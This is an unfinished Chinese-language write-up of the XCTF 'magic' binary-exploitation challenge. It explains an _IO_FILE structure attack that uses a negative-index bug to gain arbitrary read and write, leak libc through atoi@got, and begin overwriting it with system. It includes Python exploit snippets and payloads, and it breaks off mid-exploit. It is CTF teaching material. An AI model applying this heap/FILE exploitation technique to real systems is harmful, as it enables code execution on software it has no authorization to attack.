XCTF-magic-WP
这篇 WP 没有写完!!!
我还没有完成这篇 WP,因为有太多的源码没有研究,建议您看这一篇
写在前面
这道题是一个 _IO_FILE
利用,大概是我做过的最难的一道题,基本是看着 wp 才做出来的。同时 _IO_FILE
利用和源码的联系非常紧密,之后我会仔细研究一下源码,现在这篇 wp 还是非常的不成熟,许多地方我没有详细解释。
漏洞点

红框中的 v2
的检验不甚严格,当我们输入 -2
时可以访问到 log_file
指针

然后通过橙框中的语句我们可以对 *log_file
做修改,由 _IO_FILE
的结构
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
可知可以做到 log_file->_IO_write_ptr -= 50
的效果。
利用思路
首先我们要先初始化一下 *log_file
这个结构体,也就是
create_wizard()
wizard_spell(0,'Avada_Kedavra')
然后调试一下看看 *log_file
的值是怎么样的

可见 _IO_write_ptr
指向的地址就在 *log_file
上方不远处,我们通过多次利用 log_file->_IO_write_ptr -= 50
就可以实现对 *log_file
的完全修改。同时,read_spell()
函数可以输出 (char*) _IO_read_ptr
指向的地址中的值,所以我们可以实现任意地址读写。
为了将 _IO_write_ptr
指向 *log_file
下面,需要调用 13 次 wizard_spell()
,注意当我们输入的时候,会修改 _IO_write_ptr
指向的地址中的值,同时每输入一个字节就会使 _IO_write_ptr
加一。对于不同的机器,哪些地方有数据且不能被修改是不一样的,需要通过调试获得,这里提供一种可以通过远程靶机的输入方法,参考自这篇博客
for i in range(8):
wizard_spell(-2,'\x00')
wizard_spell(-2,'\x00' * 13)
for i in range(3):
wizard_spell(-2,'\x00')
wizard_spell(-2,'\x00' * 9)
wizard_spell(-2,'\x00')
此时 _IO_write_ptr
指向 log_file - 11
,我们通过两次输入使 _IO_read_ptr
指向 atoi@got
,并使 _IO_read_end > _IO_read_ptr
使 fread(&ptr, 1uLL, 0x20uLL, log_file);
可以读出 atoi@got
中的值,就可以算出 libc_base
。
payload = '\x00' * 3 + p64(0x231) + p64(0xfbad24a8)
wizard_spell(0,payload)
payload = p64(elf.got["atoi"]) + p64(elf.got["atoi"] + 0x100)
wizard_spell(0,payload)
要注意的是这里 _IO_read_end
需要大一点,因为每一次执行 read_spell
都会使 _IO_read_ptr
加 0x20,要避免在之后 _IO_read_end < _IO_read_ptr
。
自然的,下一步就是修改 atoi@got
为 system
了,在 fwrite
时修改 _IO_write_ptr
是做不到的,需要利用在 fread
时,当 _IO_read_end < _IO_read_ptr
时,将所有指针置为 _IO_buf_base
的值来实现对 _IO_write_ptr
的修改,这里需要先减小 _IO_write_ptr
,然后抬升。
wizard_spell(-2,p64(0) * 2)
payload = '\x00' * 2 + p64(0x231) + p64(0xfbad24a8)
wizard_spell(0,payload)